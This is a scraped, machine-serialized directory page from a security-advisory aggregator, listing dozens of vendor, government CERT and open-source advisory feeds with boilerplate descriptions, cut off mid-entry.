ICS CERT (Industrial Control Systems Computer Emergency Response Team) is a specialized unit within Kaspersky that focuses on cybersecurity for industrial control systems. Browse the kaspersky-ics-cert index,{id:2846,title:2847,titles:2848,content:2849,level:542},/indices/security-research-advisories#korelogic-vulnerability-research-and-advisories,KoreLogic Vulnerability Research and Advisories,256,228,KoreLogic vulnerability research and advisories are official notifications released by KoreLogic to address security vulnerabilities and updates in third party software products. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the korelogic index,{id:2851,title:2852,titles:2853,content:2854,level:542},/indices/security-research-advisories#nozomi-networks-security-advisories,Nozomi Networks Security Advisories,256,228,Nozomi Networks security advisories are official notifications released by the Nozomi Networks Product Security Incident Response Team (PSIRT) to address security vulnerabilities and updates in their software products. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the nozomi index,{id:2856,title:2857,titles:2858,content:2859,level:542},/indices/security-research-advisories#qualys-qids,Qualys QIDs,256,228,A Qualys QID (Qualys ID) is a unique identifier assigned to each vulnerability, security issue, or configuration check detected by the Qualys platform. It represents a specific detection and includes associated details like severity, affected software, remediation steps, and related CVEs. Browse the qqids index,{id:2861,title:2862,titles:2863,content:2864,level:542},/indices/security-research-advisories#schutzwerk-security-advisories,Schutzwerk Security Advisories,256,228,Schutzwerk security advisories are official notifications released by Schutzwerk to address security vulnerabilities and updates in their software products. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the schutzwerk index,{id:2866,title:2867,titles:2868,content:2869,level:542},/indices/security-research-advisories#sec-consult-security-advisories,SEC Consult Security Advisories,256,228,SEC Consult security advisories are official notifications released by SEC Consult to address security vulnerabilities and updates in third party products. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the sec-consult index,{id:2871,title:2872,titles:2873,content:2874,level:542},/indices/security-research-advisories#sentinelone-vulnerabilities,SentinelOne Vulnerabilities,256,228,SentinelOne vulnerabilities are official notifications released by Sentinel Labs to address security vulnerabilities and updates in third party products. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the sentinelone index,{id:2876,title:2877,titles:2878,content:2879,level:542},/indices/security-research-advisories#ssd-secure-disclosure-advisories,SSD Secure Disclosure Advisories,256,228,SSD Secure Disclosure Advisories are official advisories released by SSD Secure Disclosure. Many advisories contain not only vulnerability details but also proof of concept code. Browse the ssd index,{id:2881,title:2882,titles:2883,content:2884,level:542},/indices/security-research-advisories#suse-security-advisories,Suse Security Advisories,256,228,Suse security advisories are official notifications released by the Suse Security Team to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the suse-security index,{id:2886,title:2887,titles:2888,content:2889,level:542},/indices/security-research-advisories#synacktiv-security-advisories,Synacktiv Security Advisories,256,228,Synacktiv security advisories are official notifications released by Synacktiv to address security vulnerabilities and updates in third party software products. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the synacktiv index,{id:2891,title:2892,titles:2893,content:2894,level:542},/indices/security-research-advisories#syss-security-advisories,Syss Security Advisories,256,228,Syss Security Advisories are official advisories released by Syss to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the syss index,{id:2896,title:2897,titles:2898,content:2899,level:542},/indices/security-research-advisories#the-missing-link-security-advisories,the missing link Security Advisories,256,228,the missing link security advisories are official notifications released by the missing link to address security vulnerabilities and updates in third party software products. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the themissinglink index,{id:2901,title:2902,titles:2903,content:2904,level:542},/indices/security-research-advisories#usd-security-advisories,usd Security Advisories,256,228,usd advisories are official notifications released by the usd HeroLab to address security vulnerabilities and updates in third party products. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the usd index,{id:2906,title:2907,titles:2908,content:2909,level:542},/indices/security-research-advisories#voidsec-advisories,VoidSec Advisories,256,228,VoidSec advisories are official notifications released by VoidSec to address security vulnerabilities and updates in third party products. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the voidsec index,{id:2911,title:2912,titles:2913,content:2914,level:542},/indices/security-research-advisories#zero-day-initiative-advisories,Zero Day Initiative Advisories,256,228,Zero Day Initiative advisories are official advisories released by Trend Micro to promote responsible disclosure of vulnerabilities. Browse the zdi index,{id:2916,title:2917,titles:2918,content:2919,level:542},/indices/security-research-advisories#zuso-vulnerability-notifications,ZUSO Vulnerability Notifications,256,228,Zuso vulnerability notifications are official notifications released by Zuso Generation to address security vulnerabilities found in external software. Browse the zuso index,{id:262,title:261,titles:2921,content:264,level:528},,{id:2923,title:228,titles:2924,content:724,level:174},/indices/government-security-advisories#indices,261,{id:2926,title:2927,titles:2928,content:2929,level:542},/indices/government-security-advisories#astra-linux-security-bulletins,Astra Linux Security Bulletins,261,228,Astra security bulletins are official notifications released by Astra to address security vulnerabilities and updates for the Astra linux distrubution. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the astra index,{id:2931,title:2932,titles:2933,content:2934,level:542},/indices/government-security-advisories#auscert-bulletins,AusCERT Bulletins,261,228,AusCERT Bulletins are periodic publications issued by AusCERT to inform their members about the latest cybersecurity threats, vulnerabilities, and incidents. These bulletins provide concise summaries, technical details, and recommended actions to mitigate risks and protect systems and networks. They serve as valuable resources for organizations seeking up-to-date information and guidance to enhance their security defenses. Browse the auscert index,{id:2936,title:2937,titles:2938,content:2939,level:542},/indices/government-security-advisories#bdu-advisories,BDU Advisories,261,228,The bdu index contains security advisories that are official communications issued by military or government agencies to provide information, guidance, and updates related to security risks and threats. These advisories are designed to provide personnel with essential information and recommendations to minimize the risk of security incidents and protect critical assets. Browse the bdu index,{id:2941,title:2942,titles:2943,content:2944,level:542},/indices/government-security-advisories#canadian-centre-for-cyber-security-alerts-and-advisories,Canadian Centre for Cyber Security Alerts and Advisories,261,228,The Cyber Centre issues alerts and advisories on potential, imminent or actual cyber threats, vulnerabilities or incidents affecting Canadas critical infrastructure. Browse the ca-cyber-centre index,{id:2946,title:2947,titles:2948,content:2949,level:542},/indices/government-security-advisories#cert-be-security-advisories,Cert BE Security Advisories,261,228,CERT BE security advisories are official notifications released by the Centre for CyberSecurity Belgium to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the cert-be index,{id:2951,title:2952,titles:2953,content:2954,level:542},/indices/government-security-advisories#cert-in-security-advisories,CERT IN Security Advisories,261,228,CERT IN security advisories are official notifications released by Indias national CERT (Computer Emergency Response Team) to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the cert-in index,{id:2956,title:2957,titles:2958,content:2959,level:542},/indices/government-security-advisories#cert-ir-security-warnings,Cert IR Security Warnings,261,228,CERT IR security warnings are official notifications released by Irans national CERT (Computer Emergency Response Team) to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the cert-ir-security-alerts index,{id:2961,title:2962,titles:2963,content:2964,level:542},/indices/government-security-advisories#cert-se-security-advisories,Cert SE Security Advisories,261,228,CERT SE security advisories are official notifications released by Swedens national CSIRT (Computer Security Incident Response Team) to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the cert-se index,{id:2966,title:2967,titles:2968,content:2969,level:542},/indices/government-security-advisories#cert-ua-security-advisories,Cert UA Security Advisories,261,228,CERT UA security advisories are official notifications released by the Ukraine CERT to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the cert-ua index,{id:2971,title:2972,titles:2973,content:2974,level:542},/indices/government-security-advisories#cert-eu-the-computer-emergency-response-team-for-the-eu-institutions,CERT-EU The Computer Emergency Response Team for the EU Institutions,261,228,Cert-EU Bulletins are periodic publications issued by Cert-EU to inform their members about the latest cybersecurity threats, vulnerabilities, and incidents. These bulletins provide concise summaries, technical details, and recommended actions to mitigate risks and protect systems and networks. Browse the certeu index,{id:2976,title:2977,titles:2978,content:2979,level:542},/indices/government-security-advisories#cert-fr-security-alerts,Cert FR Security Alerts,261,228,CERT-FR security alerts are official notifications released by the French national and governmental CERT to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the certfr index,{id:2981,title:2982,titles:2983,content:2984,level:542},/indices/government-security-advisories#cisa-security-advisories,CISA Security Advisories,261,228,CISA (Cybersecurity and Infrastructure Security Agency) Alerts are official notifications issued by the United States primary federal agency responsible for cybersecurity. These alerts provide timely and actionable information on emerging cyber threats, vulnerabilities, and incidents affecting critical infrastructure sectors. CISA Alerts offer guidance, recommended mitigation measures, and best practices to enhance the security and resilience of organizations, promoting a proactive approach to protecting critical systems and networks from cyber threats. Browse the cisa-alerts index,{id:2986,title:2987,titles:2988,content:2989,level:542},/indices/government-security-advisories#cisa-security-advisories-csaf,CISA Security Advisories - CSAF,261,228,CISA (Cybersecurity and Infrastructure Security Agency) Advisories provides machine-readable security advisories issued by the United States primary federal agency responsible for cybersecurity. These advisories provide actionable information on emerging cyber threats, vulnerabilities, and incidents affecting critical infrastructure sectors. CISA Advisories offer guidance, recommended mitigation measures, and best practices to enhance the security and resilience of organizations, promoting a proactive approach to protecting critical systems and networks from cyber threats. Browse the cisa-csaf index,{id:2991,title:2992,titles:2993,content:2994,level:542},/indices/government-security-advisories#cnvd-bulletins,CNVD Bulletins,261,228,The Chinese National Vulnerability Database (CNVD) is a service responsible for collecting and sharing information about software vulnerabilities that affect Chinese information systems. The CNVD publishes advisories about security flaws and vulnerabilities that have been identified in software products and systems. Browse the cnvd-bulletins index,{id:2996,title:2997,titles:2998,content:2999,level:542},/indices/government-security-advisories#cnvd-flaws,CNVD Flaws,261,228,The Chinese National Vulnerability Database (CNVD) is a service responsible for collecting and sharing information about software vulnerabilities that affect Chinese information systems. The CNVD publishes advisories about security flaws and vulnerabilities that have been identified in software products and systems. Browse the cnvd-flaws index,{id:3001,title:3002,titles:3003,content:3004,level:542},/indices/government-security-advisories#european-union-vulnerability-database,European Union Vulnerability Database,261,228,EUVD security advisories are official notifications released by the European Union to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the euvd index,{id:3006,title:3007,titles:3008,content:3009,level:542},/indices/government-security-advisories#hong-kong-cert-security-bulletins,Hong Kong CERT Security Bulletins,261,228,Hong Kong CERT security bulletins are official notifications released by the Hong Kong CERT to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the hkcert index,{id:3011,title:3012,titles:3013,content:3014,level:542},/indices/government-security-advisories#information-assurance-vulnerability-alerts-iava,Information Assurance Vulnerability Alerts (IAVA),261,228,Notifications that are generated when an Information Assurance vulnerability may result in an immediate and potentially severe threat to DoD systems and information; this alert requires corrective action because of the severity of the vulnerability risk. Browse the iava index,{id:3016,title:3017,titles:3018,content:3019,level:542},/indices/government-security-advisories#govil-security-alerts,Gov.il Security Alerts,261,228,Gov.il Security Alerts are official notifications issued by the Israeli government to provide timely information and updates on cybersecurity threats, vulnerabilities, and incidents. These alerts aim to raise awareness among government entities, critical infrastructure sectors, and the public about emerging cyber threats and provide recommended actions to mitigate risks. Browse the il-alerts index,{id:3021,title:3022,titles:3023,content:3024,level:542},/indices/government-security-advisories#govil-cve-advisories,Gov.il CVE Advisories,261,228,Gov.il CVE Security Advisories are official notifications released by the Israeli government to address security vulnerabilities identified through the Common Vulnerabilities and Exposures (CVE) system. These advisories provide detailed information about specific vulnerabilities, their potential impact, and recommended actions to mitigate the risks. Browse the il-vulnerabilities index,{id:3026,title:3027,titles:3028,content:3029,level:542},/indices/government-security-advisories#incibe-cert-early-warnings,Incibe CERT Early Warnings,261,228,Incibe CERT early warnings are official notifications released by the  National Cybersecurity Institute of Spain (Incibe) to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the incibe index,{id:3031,title:3032,titles:3033,content:3034,level:542},/indices/government-security-advisories#japan-vulnerability-notes,Japan Vulnerability Notes,261,228,Japan vulnerability notes are official notifications released by the Japan CERT (JPCERT) to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the jvndb index,{id:3036,title:3037,titles:3038,content:3039,level:542},/indices/government-security-advisories#kr-cert-notices,KR-CERT Notices,261,228,KR-CERT (Korea Internet & Security Agency Computer Emergency Response Team) Security Notices are official notifications issued by KR-CERT, the national computer emergency response team of South Korea. Browse the krcert-security-notices index,{id:3041,title:3042,titles:3043,content:3044,level:542},/indices/government-security-advisories#kr-cert-vulnerabilities,KR-CERT Vulnerabilities,261,228,KR-CERT (Korea Internet & Security Agency Computer Emergency Response Team) provides valuable information on vulnerabilities that affect the South Korean cyberspace. Browse the krcert-vulnerabilities index,{id:3046,title:3047,titles:3048,content:3049,level:542},/indices/government-security-advisories#moroccan-cert-security-bulletins,Moroccan CERT Security Bulletins,261,228,Moroccan CERT security bulletins are official notifications released by the Moroccan CERT to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the macert index,{id:3051,title:3052,titles:3053,content:3054,level:542},/indices/government-security-advisories#ncsc-advisories,NCSC Advisories,261,228,Nationaal Cyber Security Centrum advisories are official notifications released by the Nationaal Cyber Security Centrum to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the ncsc index,{id:3056,title:3057,titles:3058,content:3059,level:542},/indices/government-security-advisories#ncsc-cves,NCSC CVEs,261,228,Nationaal Cyber Security Centrum cves are official notifications released by the Nationaal Cyber Security Centrum to address security vulnerabilities and updates. These cves provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the ncsc-cves index,{id:3061,title:3062,titles:3063,content:3064,level:542},/indices/government-security-advisories#nhs-cyber-alerts,NHS Cyber Alerts,261,228,NHS cyber alerts are official notifications released by NHS Digital to address security vulnerabilities and updates in third party software products. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the nhs index,{id:3066,title:3067,titles:3068,content:3069,level:542},/indices/government-security-advisories#cert-nz-security-advisories,CERT NZ Security Advisories,261,228,CERT NZ security advisories are official notifications released by the New Zealand CERT to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the nz-advisories index,{id:3071,title:3072,titles:3073,content:3074,level:542},/indices/government-security-advisories#saudi-cert,Saudi CERT,261,228,Saudi CERT security alerts are official notifications released by the Saudi CERT to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the sacert index,{id:3076,title:3077,titles:3078,content:3079,level:542},/indices/government-security-advisories#csa-alerts-and-advisories,CSA Alerts and Advisories,261,228,CSA (Cyber Security Agency of Singapore) alerts and advisories are official notifications released by the CSA to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the singcert index,{id:3081,title:3082,titles:3083,content:3084,level:542},/indices/government-security-advisories#taiwan-cert-vulnerability-notes,Taiwan CERT Vulnerability Notes,261,228,Taiwan CERT vulnerability notes are official notifications released by the Taiwan CERT to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure security. Browse the twcert index,{id:3086,title:3087,titles:3088,content:3089,level:542},/indices/government-security-advisories#usom-security-notices,USOM Security Notices,261,228,USOM security notices are official notifications released by the Turkey USOM TR-CERT to address security vulnerabilities and updates. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the usom index,{id:3091,title:3092,titles:3093,content:3094,level:542},/indices/government-security-advisories#vde-cert-advisories,VDE CERT Advisories,261,228,VDE CERT Advisories are official notifications released by VDE CERT to address security vulnerabilities and updates in their software products. These advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the vde index,{id:267,title:266,titles:3096,content:269,level:528},,{id:3098,title:228,titles:3099,content:724,level:174},/indices/open-source-security-advisories#indices,266,{id:3101,title:3102,titles:3103,content:3104,level:542},/indices/open-source-security-advisories#alma-linux-advisories,Alma Linux Advisories,266,228,AlmaLinux is a popular community-driven Linux distribution that is built as a replacement for CentOS, which was recently discontinued by Red Hat. Like any other operating system, AlmaLinux is not immune to vulnerabilities and security flaws. Errata vulnerabilities refer to security issues that have been identified in a software system and require a patch or update to fix them. AlmaLinux has a dedicated team that constantly monitors for errata vulnerabilities and releases patches and updates to ensure that the system remains secure. Browse the alma index,{id:3106,title:3107,titles:3108,content:3109,level:542},/indices/open-source-security-advisories#alpine-linux-advisories,Alpine Linux Advisories,266,228,The Alpine Linux Security Database is a public repository that maintains a comprehensive list of security vulnerabilities that have been identified in the Alpine Linux distribution. This database is an essential resource for Alpine Linux users who want to stay informed about potential security threats and vulnerabilities. The database provides detailed information about each security issue, including its severity level, affected components, and recommended fixes. Additionally, the Alpine Linux Security Team regularly updates the database with new vulnerabilities and patches, ensuring that users have access to the latest information and recommendations for securing their systems. The Alpine Linux Security Database is a critical component of the distributions security infrastructure, and its transparency and accessibility reflect the projects commitment to ensuring the safety and reliability of its users systems. Browse the alpine index,{id:3111,title:3112,titles:3113,content:3114,level:542},/indices/open-source-security-advisories#apache-activemq-security-advisories,Apache ActiveMQ Security Advisories,266,228,Apache ActiveMQ security advisories are official notifications released by the open source Apache ActiveMQ project to address security vulnerabilities and updates in the open source Apache ActiveMQ project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-activemq index,{id:3116,title:3117,titles:3118,content:3119,level:542},/indices/open-source-security-advisories#apache-archiva-security-vulnerabilities,Apache Archiva Security Vulnerabilities,266,228,Apache Archiva security vulnerabilities are official notifications released by the open source Apache Archiva project to address security vulnerabilities and updates in the open source Apache Archiva project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-archiva index,{id:3121,title:3122,titles:3123,content:3124,level:542},/indices/open-source-security-advisories#apache-arrow-security-issues,Apache Arrow Security Issues,266,228,Apache Arrow security issues are official notifications released by the open source Apache Arrow project to address security vulnerabilities and updates in the open source Apache Arrow project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-arrow index,{id:3126,title:3127,titles:3128,content:3129,level:542},/indices/open-source-security-advisories#apache-camel-security-advisories,Apache Camel Security Advisories,266,228,Apache Camel security advisories are official notifications released by the open source Apache Camel project to address security vulnerabilities and updates in the open source Apache Camel project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-camel index,{id:3131,title:3132,titles:3133,content:3134,level:542},/indices/open-source-security-advisories#apache-commons-known-security-vulnerabilities,Apache Commons Known Security Vulnerabilities,266,228,Apache Commons security vulnerabilities are official notifications released by the open source Apache Commons project to address security vulnerabilities and updates in the open source Apache Commons project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-commons index,{id:3136,title:3137,titles:3138,content:3139,level:542},/indices/open-source-security-advisories#apache-couchdb-security-issues,Apache CouchDB Security Issues,266,228,Apache CouchDB security issues are official notifications released by the open source Apache CouchDB project to address security vulnerabilities and updates in the open source Apache CouchDB project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-couchdb index,{id:3141,title:3142,titles:3143,content:3144,level:542},/indices/open-source-security-advisories#apache-flink-security-updates,Apache Flink Security Updates,266,228,Apache Flink security updates are official notifications released by the open source Apache Flink project to address security vulnerabilities and updates in the open source Apache Flink project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-flink index,{id:3146,title:3147,titles:3148,content:3149,level:542},/indices/open-source-security-advisories#apache-guacamole-security-reports,Apache Guacamole Security Reports,266,228,Apache Guacamole security reports are official notifications released by the open source Apache Guacamole project to address security vulnerabilities and updates in the open source Apache Guacamole project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-guacamole index,{id:3151,title:3152,titles:3153,content:3154,level:542},/indices/open-source-security-advisories#apache-hadoop-cves,Apache Hadoop CVEs,266,228,Apache Hadoop CVEs are official notifications released by the open source Apache Hadoop project to address security vulnerabilities and updates in the open source Apache Hadoop project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-hadoop index,{id:3156,title:3157,titles:3158,content:3159,level:542},/indices/open-source-security-advisories#apache-http-security-vulnerabilities,Apache HTTP Security Vulnerabilities,266,228,Apache HTTP security vulnerabilities are official notifications released by the open source Apache project to address security vulnerabilities and updates in the open source Apache HTTP project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-http index,{id:3161,title:3162,titles:3163,content:3164,level:542},/indices/open-source-security-advisories#apache-jspwiki-cves,Apache JSPWiki CVEs,266,228,Apache JSPWiki CVEs are official notifications released by the open source Apache JSPWiki project to address security vulnerabilities and updates in the open source Apache OpenMeetings project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-jspwiki index,{id:3166,title:3167,titles:3168,content:3169,level:542},/indices/open-source-security-advisories#apache-kafka-security-vulnerabilities,Apache Kafka Security Vulnerabilities,266,228,Apache Kafka security vulnerabilities are official notifications released by the open source Apache Kafka project to address security vulnerabilities and updates in the open source Apache Kafka project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-kafka index,{id:3171,title:3172,titles:3173,content:3174,level:542},/indices/open-source-security-advisories#apache-logging-services-known-vulnerabilities,Apache Logging Services Known Vulnerabilities,266,228,Apache Logging Services known vulnerabilities are official notifications released by the open source Apache Logging Services project to address security vulnerabilities and updates in the open source Apache Logging Services project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-loggingservices index,{id:3176,title:3177,titles:3178,content:3179,level:542},/indices/open-source-security-advisories#apache-nifi-security-vulnerabilities,Apache NiFi Security Vulnerabilities,266,228,Apache NiFi security vulnerabilities are official notifications released by the open source Apache NiFi project to address security vulnerabilities and updates in the open source Apache NiFi project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-nifi index,{id:3181,title:3182,titles:3183,content:3184,level:542},/indices/open-source-security-advisories#apache-ofbiz-security-vulnerabilities,Apache OFBiz Security Vulnerabilities,266,228,Apache OFBiz security vulnerabilities are official notifications released by the open source Apache OFBiz project to address security vulnerabilities and updates in the open source Apache OFBiz project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-ofbiz index,{id:3186,title:3187,titles:3188,content:3189,level:542},/indices/open-source-security-advisories#apache-openmeetings-security-vulnerabilities,Apache OpenMeetings Security Vulnerabilities,266,228,Apache OpenMeetings security vulnerabilities are official notifications released by the open source Apache OpenMeetings project to address security vulnerabilities and updates in the open source Apache OpenMeetings project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-openmeetings index,{id:3191,title:3192,titles:3193,content:3194,level:542},/indices/open-source-security-advisories#apache-openoffice-security-bulletins,Apache OpenOffice Security Bulletins,266,228,Apache OpenOffice security bulletins are official notifications released by the open source Apache OpenOffice project to address security vulnerabilities and updates in the open source Apache OpenOffice project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-openoffice index,{id:3196,title:3197,titles:3198,content:3199,level:542},/indices/open-source-security-advisories#apache-pulsar-security-advisories,Apache Pulsar Security Advisories,266,228,Apache Pulsar security advisories are official notifications released by the open source Apache Pulsar project to address security vulnerabilities and updates in the open source Apache Pulsar project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-pulsar index,{id:3201,title:3202,titles:3203,content:3204,level:542},/indices/open-source-security-advisories#apache-shiro-vulnerability-reports,Apache Shiro Vulnerability Reports,266,228,Apache Shiro vulnerability reports are official notifications released by the open source Apache Shiro project to address security vulnerabilities and updates in the open source Apache Shiro project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-shiro index,{id:3206,title:3207,titles:3208,content:3209,level:542},/indices/open-source-security-advisories#apache-spark-known-security-issues,Apache Spark Known Security Issues,266,228,Apache Spark cves are official notifications released by the open source Apache Spark project to address security vulnerabilities and updates in the open source Apache Spark project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-spark index,{id:3211,title:3212,titles:3213,content:3214,level:542},/indices/open-source-security-advisories#apache-struts-security-bulletins,Apache Struts Security Bulletins,266,228,Apache Struts security bulletins are official notifications released by the open source Apache Struts project to address security vulnerabilities and updates in the open source Apache Struts project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-struts index,{id:3216,title:3217,titles:3218,content:3219,level:542},/indices/open-source-security-advisories#apache-subversion-security-advisories,Apache Subversion Security Advisories,266,228,Apache Subversion security advisories are official notifications released by the open source Apache Subversion project to address security vulnerabilities and updates in the open source Apache Subversion project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-subversion index,{id:3221,title:3222,titles:3223,content:3224,level:542},/indices/open-source-security-advisories#apache-superset-cves,Apache Superset CVEs,266,228,Apache Superset cves are official notifications released by the open source Apache Superset project to address security vulnerabilities and updates in the open source Apache Superset project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-superset index,{id:3226,title:3227,titles:3228,content:3229,level:542},/indices/open-source-security-advisories#apache-tomcat-security-vunlnerabilities,Apache Tomcat Security Vunlnerabilities,266,228,Apache Tomcat security vunlnerabilities are official notifications released by the open source Apache Struts project to address security vulnerabilities and updates in the open source Apache Strus project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-tomcat index,{id:3231,title:3232,titles:3233,content:3234,level:542},/indices/open-source-security-advisories#apache-zookeeper-vulnerability-reports,Apache ZooKeeper Vulnerability Reports,266,228,Apache ZooKeeper vulnerability reports are official notifications released by the open source Apache ZooKeeper project to address vulnerabilities and updates in the open source Apache ZooKeeper project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the apache-zookeeper index,{id:3236,title:3237,titles:3238,content:3239,level:542},/indices/open-source-security-advisories#arch-linux,Arch Linux,266,228,Arch Linuxs rolling-release model ensures that security patches are promptly released and distributed to users, minimizing the exposure to known vulnerabilities and providing a relatively secure system when kept up to date. Browse the arch index,{id:3241,title:3242,titles:3243,content:3244,level:542},/indices/open-source-security-advisories#asterisk-security-advisories,Asterisk Security Advisories,266,228,Asterisk security advisories are official notifications released by the open source Asterisk project to address security vulnerabilities and updates in the open source Asterisk project. These security advisories provide important information about the vulnerabilities, their potential impact, and recommendations for users to apply necessary patches or updates to ensure the security of their systems. Browse the asterisk index,{id:3246,title:2927,titles:3247,content:2929,level:542},/indices/open-source-security-advisories#astra-linux-security-bulletins,266,228,{id:3249,title:3250,titles:3251,content:3252,level:542},/indices/open-source-security-advisories#cbl-mariner-vulnerabilities,CBL-Mariner Vulnerabilities,266,228,CBL-Mariner contains vulnerabilities detected in the Microsoft CBL Mariner linux distribution. Browse the cbl-mariner index,{id:3254,title:3255,titles:3256,content:3257,level:542},/indices/open-source-security-advisories#centos-security-advisories,CentOS Security Advisories,266,228,CentOS Security Advisories are official notifications issued by the CentOS project, a popular open-source Linux distribution. These advisories provide information on security vulnerabilities, patches, and updates relevant to CentOS operating systems. They help CentOS users stay informed about potential risks, recommended actions, and available fixes to maintain the security and stability of their CentOS-based systems. CentOS Security Advisories play a vital role in assisting system administrators and users in effectively managing and securing their CentOS deployments. Browse the centos index,{id:3259,title:3260,titles:3261,content:3262,level:542},/indices/open-source-security-advisories#chainguard-security-advisories,ChainGuard Security Advisories,266,228,ChainGuard is an enterprise Linux undistribution based on Wolfi that combines the best aspects of 